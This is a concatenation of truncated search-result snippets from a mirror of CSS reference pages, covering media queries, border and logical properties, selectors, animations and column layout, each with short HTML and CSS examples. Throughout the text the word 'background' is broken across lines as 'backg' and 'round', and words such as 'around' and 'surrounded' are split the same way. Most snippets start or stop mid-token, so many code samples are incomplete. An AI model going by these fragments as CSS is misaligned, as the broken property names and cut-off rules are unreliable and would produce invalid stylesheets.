round-color: #306; color: #fff; font: 1.2em sans-serif; width: 10em; padding: 1em; border-radius: 1em; text-align: center; } @keyframes pulse { 0% { transform: scale(1); } 25% { transform: scale(.9); } 50% { transform: scale(1); } 75% { transform: scale(1.1); } 100% { transform: scale(1); } } @keyframes dissolve { 0% { opacity: 1; } 50% { opacity: 0.8; } 100% { opacity: 1;...
resolution - CSS: Cascading Style Sheets
examples html <p>this is a test of your device's pixel density.</p> css /* exact resolution */ @media (resolution: 150dpi) { p { color: red; } } /* minimum resolution */ @media (min-resolution: 72dpi) { p { text-decoration: underline; } } /* maximum resolution */ @media (max-resolution: 300dpi) { p { backg
round: yellow; } } result specifications specification status comment media queriesthe definition of 'resolution' in that specification.
width - CSS: Cascading Style Sheets
examples html <div>watch this element as you resize your viewport's width.</div> css /* exact width */ @media (width: 360px) { div { color: red; } } /* minimum width */ @media (min-width: 35rem) { div { backg
round: yellow; } } /* maximum width */ @media (max-width: 50rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'width' in that specification.
viewport-fit - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautocomputed valueas specified formal syntax auto | contain | cover examples scaling viewport to fit device display @viewport { viewport-fit: cover; } specifications specification status comment css
round display level 1the definition of '"viewport-fit" descriptor' in that specification.
CSS Animations tips and tricks - CSS: Cascading Style Sheets
.runbutton { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 12px; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } @keyframes colorchange { 0% { backg
round: yellow } 100% { backg
round: blue } } .box { width: 100px; height: 100px; border: 1px solid black; } .changing { animation: colorchange 2s; } there are two classes here.
Mastering margin collapsing - CSS: Cascading Style Sheets
<p>this paragraph has a <code>.4rem</code> margin between it and the text above.</p> <p>my bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p> </div> <p>i am <code>2rem</code> below the element above.</p> css div { margin: 2rem 0; backg
round: lavender; } p { margin: .4rem 0 1.2rem 0; backg
round: yellow; } result specifications specification status comment css level 2 (revision 1)the definition of 'margin collapsing' in that specification.
Spanning and Balancing Columns - CSS: Cascading Style Sheets
things to watch out for if the spanning element is inside another element which has margins, padding and a border or a backg
round color, it is possible to end up with the top of the box appearing above the spanner and the rest displaying below, as shown in the next example.
Styling Columns - CSS: Cascading Style Sheets
the anonymous boxes that make up your columns can’t be targeted in any way, meaning it isn’t possible to change a box's backg
round color or have one column larger than the others.
CSS Motion Path - CSS: Cascading Style Sheets
basic example <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; backg
round: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } reference properties offset offset-anchor offset-distance offset-path offset-position offset-rotate specifications specification status comment motion path module level 1 working draft initial definition.
Stacking context example 2 - CSS: Cascading Style Sheets
mple source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } #div2 { z-index: 2; } #div3 { z-index: 1; } #div4 { z-index: 10; } #div1,#div3 { height: 80px; position: relative; border: 1px dashed #669966; backg
round-color: #ccffcc; padding-left: 5px; } #div2 { opacity: 0.8; position: absolute; width: 150px; height: 200px; top: 20px; left: 170px; border: 1px dashed #990000; backg
round-color: #ffdddd; text-align: center; } #div4 { opacity: 0.8; position: absolute; width: 200px; height: 70px; top: 65px; left: 50px; border: 1px dashed #000099; backg
round-co...
CSS Properties Reference - CSS: Cascading Style Sheets
css javascript backg
round backg
round backg
round-attachment backg
roundattachment backg
round-color backg
roundcolor backg
round-image backg
roundimage backg
round-position backg
roundposition backg
round-repeat backg
roundrepeat border border border-bottom borderbottom border-bottom-color borderbottomcolor border-bottom-styl...
Animatable CSS properties - CSS: Cascading Style Sheets
the animatable properties are: -moz-outline-radius -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright -webkit-line-clamp -webkit-text-fill-color -webkit-text-stroke -webkit-text-stroke-color all backdrop-filter backg
round backg
round-color backg
round-position backg
round-size block-size border border-block-end border-block-end-color border-block-end-width border-block-start border-block-start-color border-block-start-width border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-width bord...
Class selectors - CSS: Cascading Style Sheets
in: 2em; } /* all <li> elements with a class list that includes both "spacious" and "elegant" */ /* for example, class="elegant retro spacious" */ li.spacious.elegant { margin: 2em; } syntax .class_name { style properties } note that this is equivalent to the following attribute selector: [class~=class_name] { style properties } examples css .red { color: #f33; } .yellow-bg { backg
round: #ffa; } .fancy { font-weight: bold; text-shadow: 4px 4px 3px #77f; } html <p class="red">this paragraph has red text.</p> <p class="red yellow-bg">this paragraph has red text and a yellow backg
round.</p> <p class="red fancy">this paragraph has red text and "fancy" styling.</p> <p>this is just a regular paragraph.</p> result specifications specification status comment...
Column combinator - CSS: Cascading Style Sheets
/* table cells that belong to the "selected" column */ col.selected || td { backg
round: gray; } syntax column-selector || cell-selector { /* style properties */ } examples html <table border="1"> <colgroup> <col span="2"/> <col class="selected"/> </colgroup> <tbody> <tr> <td>a <td>b <td>c </tr> <tr> <td colspan="2">d</td> <td>e</td> </tr> <tr> <td>f</td> <td colspan="2">g</td> </tr> </tbody> </table> css col.selected || td { backg
round: gray; color: white; font-weight: bold; } result specifications ...
Compositing and Blending - CSS: Cascading Style Sheets
reference properties backg
round-blend-mode isolation mix-blend-mode data types <blend-mode> specifications specification status comment compositing and blending level 1 candidate recommendation initial definition ...
ID selectors - CSS: Cascading Style Sheets
/* the element with id="demo" */ #demo { border: red 2px solid; } syntax #id_value { style properties } note that syntactically (but not specificity-wise), this is equivalent to the following attribute selector: [id=id_value] { style properties } examples css #identified { backg
round-color: skyblue; } html <div id="identified">this div has a special id on it!</div> <div>this is just a regular div.</div> result specifications specification status comment selectors level 4the definition of 'id selectors' in that specification.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
@media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div { backg
round-image: url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div { backg
round-image: url('image-wb.png'); } } ...
CSS reference - CSS: Cascading Style Sheets
--webkit-line-clampa:activeadditive-symbols (@counter-style)::after (:after)align-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::backdropbackdrop-filterbackface-visibilitybackg
roundbackg
round-attachmentbackg
round-blend-modebackg
round-clipbackg
round-colorbackg
round-imagebackg
round-originbackg
round-positionbackg
round-repeatbackg
round-size<basic-shape>::before (:before)bleed (@page)<blend-mode>block-sizeblur()borderborder-blockborder-block-colorborder-block-endborder-block-end-colorborder-block-end-styleborder-block-end-widthborder-block-startborder-block-start-colorborder-bloc...
Tools - CSS: Cascading Style Sheets
this is not really yet a useful tool, but will be!linear-gradient generatorthis tool can be used to create custom css3 linear-gradient() backg
rounds.
Type selectors - CSS: Cascading Style Sheets
*/ a { color: red; } syntax element { style properties } examples css span { backg
round-color: skyblue; } html <span>here's a span with some text.</span> <p>here's a p with some text.</p> <span>here's a span with more text.</span> result specifications specification status comment selectors level 4the definition of 'type (tag name) selector' in that specification.
Value definition syntax - CSS: Cascading Style Sheets
called basic data types, they are represented with their name sur
rounded by the symbol '<' and '>': <angle>, <string>, … non-terminal data types less common data types, called non-terminal data types, are also sur
rounded by '<' and '>'.
<alpha-value> - CSS: Cascading Style Sheets
if given as a number, the useful range is 0 (fully transparent) to 1.0 (fully opaque), with decimal values in between; that is, 0.5 indicates that half of the foreg
round color is used and half of the backg
round color is used.
attr() - CSS: Cascading Style Sheets
| url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb | vi | vw | vh | vmin | vmax | mm | q | cm | in | pt | pc | px | deg | grad | rad | turn | ms | s | hz | khz | % examples content property html <p data-foo="hello">world</p> css [data-foo]::before { content: attr(data-foo) " "; } result <color> value html <div class="backg
round" data-backg
round="lime">backg
round expected to be red if your browser does not support advanced usage of attr()</div> css .backg
round { height: 100vh; } .backg
round { backg
round-color: red; } .backg
round[data-backg
round] { backg
round-color: attr(data-backg
round color, red); } specifications specification status comment css values and units module level...
block-size - CSS: Cascading Style Sheets
formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples block size with vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; backg
round-color: yellow; block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'block-size' in that specification.
border-block-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-color' in that specification.
border-block-end-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-end-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-color' in that specification.
border-block-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-style' in that specification.
border-block-end-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with veritcal text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-width' in that specification.
border-block-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-end: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end' in that specification.
border-block-start-color - CSS: Cascading Style Sheets
values <'color'> see border-color formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-start-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-color' in that specification.
border-block-start-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border wtih vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-start-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-style' in that specification.
border-block-start-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-start-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-width' in that specification.
border-block-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-block-start' in that specification.
border-block-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-style' in that specification.
border-block-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-width' in that specification.
border-block - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block' in that specification.
border-bottom-width - CSS: Cascading Style Sheets
idth>where <line-width> = <length> | thin | medium | thick examples comparing bottom border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-bottom-width: thick; } div:nth-child(2) { border-bottom-width: 2em; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-bottom-width' in that specification.
border-bottom - CSS: Cascading Style Sheets
</div> css div { border-bottom: 4px dashed blue; backg
round-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-bottom' in that specification.
border-end-end-radius - CSS: Cascading Style Sheets
ter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css content div { backg
round-color: rebeccapurple; width: 120px; height: 120px; border-end-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; backg
round-color: #fff; border-end-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-end-radius' in that specification.
border-end-start-radius - CSS: Cascading Style Sheets
irst-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div { backg
round-color: rebeccapurple; width: 120px; height: 120px; border-end-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; backg
round-color: #fff; border-end-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-start-radius' in that specific...
border-image-outset - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length> | <number> ]{1,4} examples outsetting a border image html <div id="outset">this element has an outset border image!</div> css #outset { width: 10rem; backg
round: #cef; border: 1.4rem solid; border-image: radial-gradient(#ff2, #55f) 40; border-image-outset: 1.5; /* 1.5 × 1.4rem = 2.1rem */ margin: 2.1rem; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-image-outset' in that specification.
border-image-width - CSS: Cascading Style Sheets
stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> css p { border: 20px solid; border-image: url("/static/external/21/214842819586a8dd293c17b38d0fd0e26430146a86dd04294a53ecaeeea7d0e2.png") 30
round; border-image-width: 16px; padding: 40px; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-image-width' in that specification.
border-inline-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-color' in that specification.
border-inline-end-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-end-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-color' in that specification.
border-inline-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-style' in that specification.
border-inline-end-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples applying a border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-width' in that specification.
border-inline-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-end: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end' in that specification.
border-inline-start-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-start-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-color' in that specification.
border-inline-start-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-start-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-style' in that specification.
border-inline-start-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-start-width: 5px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-width' in that specification.
border-inline-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start' in that specification.
border-inline-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html content <div> <p class="exampletext">example text</p> </div> css content div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-style' in that specification.
border-inline-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-width: 5px 10px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-width' in that specification.
border-inline - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline' in that specification.
border-left-width - CSS: Cascading Style Sheets
ax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-left-width: thick; } div:nth-child(2) { border-left-width: 2em; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-left-width' in that specification.
border-left - CSS: Cascading Style Sheets
</div> css div { border-left: 4px dashed blue; backg
round-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-left' in that specification.
border-right-width - CSS: Cascading Style Sheets
<line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-right-width: thick; } div:nth-child(2) { border-right-width: 2em; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-right-width' in that specification.
border-right - CSS: Cascading Style Sheets
</div> css div { border-right: 4px dashed blue; backg
round-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-right' in that specification.
border-spacing - CSS: Cascading Style Sheets
html <table> <tr> <td>1</td><td>2</td><td>3</td> </tr> <tr> <td>4</td><td>5</td><td>6</td> </tr> <tr> <td>7</td><td>8</td><td>9</td> </tr> </table> css table { border-spacing: 1em .5em; padding: 0 2em 1em 0; border: 1px solid orange; } td { width: 1.5em; height: 1.5em; backg
round: #d2d2d2; text-align: center; vertical-align: middle; } result specifications specification status comment css level 2 (revision 1)the definition of 'border-spacing' in that specification.
border-start-end-radius - CSS: Cascading Style Sheets
irst-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div { backg
round-color: rebeccapurple; width: 120px; height: 120px; border-start-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; backg
round-color: #fff; border-start-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-end-radius' in that specific...
border-start-start-radius - CSS: Cascading Style Sheets
irst-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div { backg
round-color: rebeccapurple; width: 120px; height: 120px; border-start-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; backg
round-color: #fff; border-start-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-start-radius' in that sp...
border-top-width - CSS: Cascading Style Sheets
n typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-top-width: thick; } div:nth-child(2) { border-top-width: 2em; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-top-width' in that specification.
border-top - CSS: Cascading Style Sheets
</div> css div { border-top: 4px dashed blue; backg
round-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-top' in that specification.
border-width - CSS: Cascading Style Sheets
border: ridge #ccc; border-width: 6px; } #bival { border: solid red; border-width: 2px 10px; } #treval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: solid lightgreen; border-width: thin medium thick 1em; } p { width: auto; margin: 0.25em; padding: 0.25em; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-width' in that specification.
border - CSS: Cascading Style Sheets
amazing, isn't it?</div> css div { border: 0.5rem outset pink; outline: 0.5rem solid khaki; box-shadow: 0 0 0 2rem skyblue; border-radius: 12px; font: bold 1rem sans-serif; margin: 2rem; padding: 1rem; outline-offset: 0.5rem; } result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border' in that specification.
bottom - CSS: Cascading Style Sheets
html <p>this<br>is<br>some<br>tall,<br>tall,<br>tall,<br>tall,<br>tall<br>content.</p> <div class="fixed"><p>fixed</p></div> <div class="absolute"><p>absolute</p></div> css p { font-size: 30px; line-height: 2em; } div { width: 48%; text-align: center; backg
round: rgba(55,55,55,.2); border: 1px solid blue; } .absolute { position: absolute; bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications specification status comment css positioned layout module level 3the definition of 'bottom' in that specification.
box-sizing - CSS: Cascading Style Sheets
html <div class="content-box">content box</div> <br> <div class="border-box">border box</div> css div { width: 160px; height: 80px; padding: 20px; border: 8px solid red; backg
round: yellow; } .content-box { box-sizing: content-box; /* total width: 160px + (2 * 20px) + (2 * 8px) = 216px total height: 80px + (2 * 20px) + (2 * 8px) = 136px content box width: 160px content box height: 80px */ } .border-box { box-sizing: border-box; /* total width: 160px total height: 80px content box width: 160px - (2 * 20px) - (2 * 8px) = 104px content b...
break-inside - CSS: Cascading Style Sheets
fusce iaculis urna id neque dapibus, eu lacinia lectus dictum.</p> <figure> <img src="https://udn.realityripple.com/samples/fe/4508d88f78.png"> <figcaption>the firefox logo — fox wrapped a
round the world</figcaption> </figure> <p>praesent condimentum dui dui, sit amet rutrum diam tincidunt eu.
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
ro except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; height: 100px; column-gap: 20px; } #flexbox > div { border: 1px solid green; backg
round-color: lime; flex: auto; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-column-gap: 20px; } #grid { display: grid; height: 100px; grid-template-columns: repeat(3, 1fr); grid-template-rows: 100px; column-gap: 20px; } #grid > div { border: 1px solid green; backg
round-color: lime; } result multi-column l...
column-rule - CSS: Cascading Style Sheets
</p> css .content-box { padding: 0.3em; backg
round: #ff7; column-count: 3; column-rule: inset 2px #33f; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule' in that specification.
content - CSS: Cascading Style Sheets
p-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples headings and quotes this example inserts quotation marks a
round quotes, and adds the word "chapter" before headings.
<custom-ident> - CSS: Cascading Style Sheets
examples valid identifiers nono79 a mix of alphanumeric characters and numbers g
round-level a mix of alphanumeric characters and a dash -test a dash followed by alphanumeric characters _internal an underscore followed by alphanumeric characters \22 toto a unicode character followed by a sequence of alphanumeric characters bili\.bob a correctly escaped period invalid identifiers 34rem it must not start with a decimal digit.
<display-inside> - CSS: Cascading Style Sheets
html <div class="box"> <div class="float">i am a floated box!</div> <p>i am content inside the container.</p> </div> css .box { backg
round-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; display: flow-root; } .float { float: left; width: 200px; height: 150px; backg
round-color: white; border:1px solid black; padding: 10px; } result specifications specification status css display module level 3the definition of 'display-inside' in that specification.
<display-legacy> - CSS: Cascading Style Sheets
syntax valid <display-legacy> values: inline-block the element generates a block element box that will be flowed with sur
rounding content as if it were a single inline box (behaving much like a replaced element would).
<easing-function> - CSS: Cascading Style Sheets
ption>ease-out</option> <option>cubic-bezier(0.1, -0.6, 0.2, 0)</option> <option>cubic-bezier(0, 1.1, 0.8, 4)</option> <option>steps(5, end)</option> <option>steps(3, start)</option> <option>steps(4)</option> </select> </li> </ul> css body > div { position: relative; height: 100px; } div > div { position: absolute; width: 50px; height: 50px; backg
round-color: blue; backg
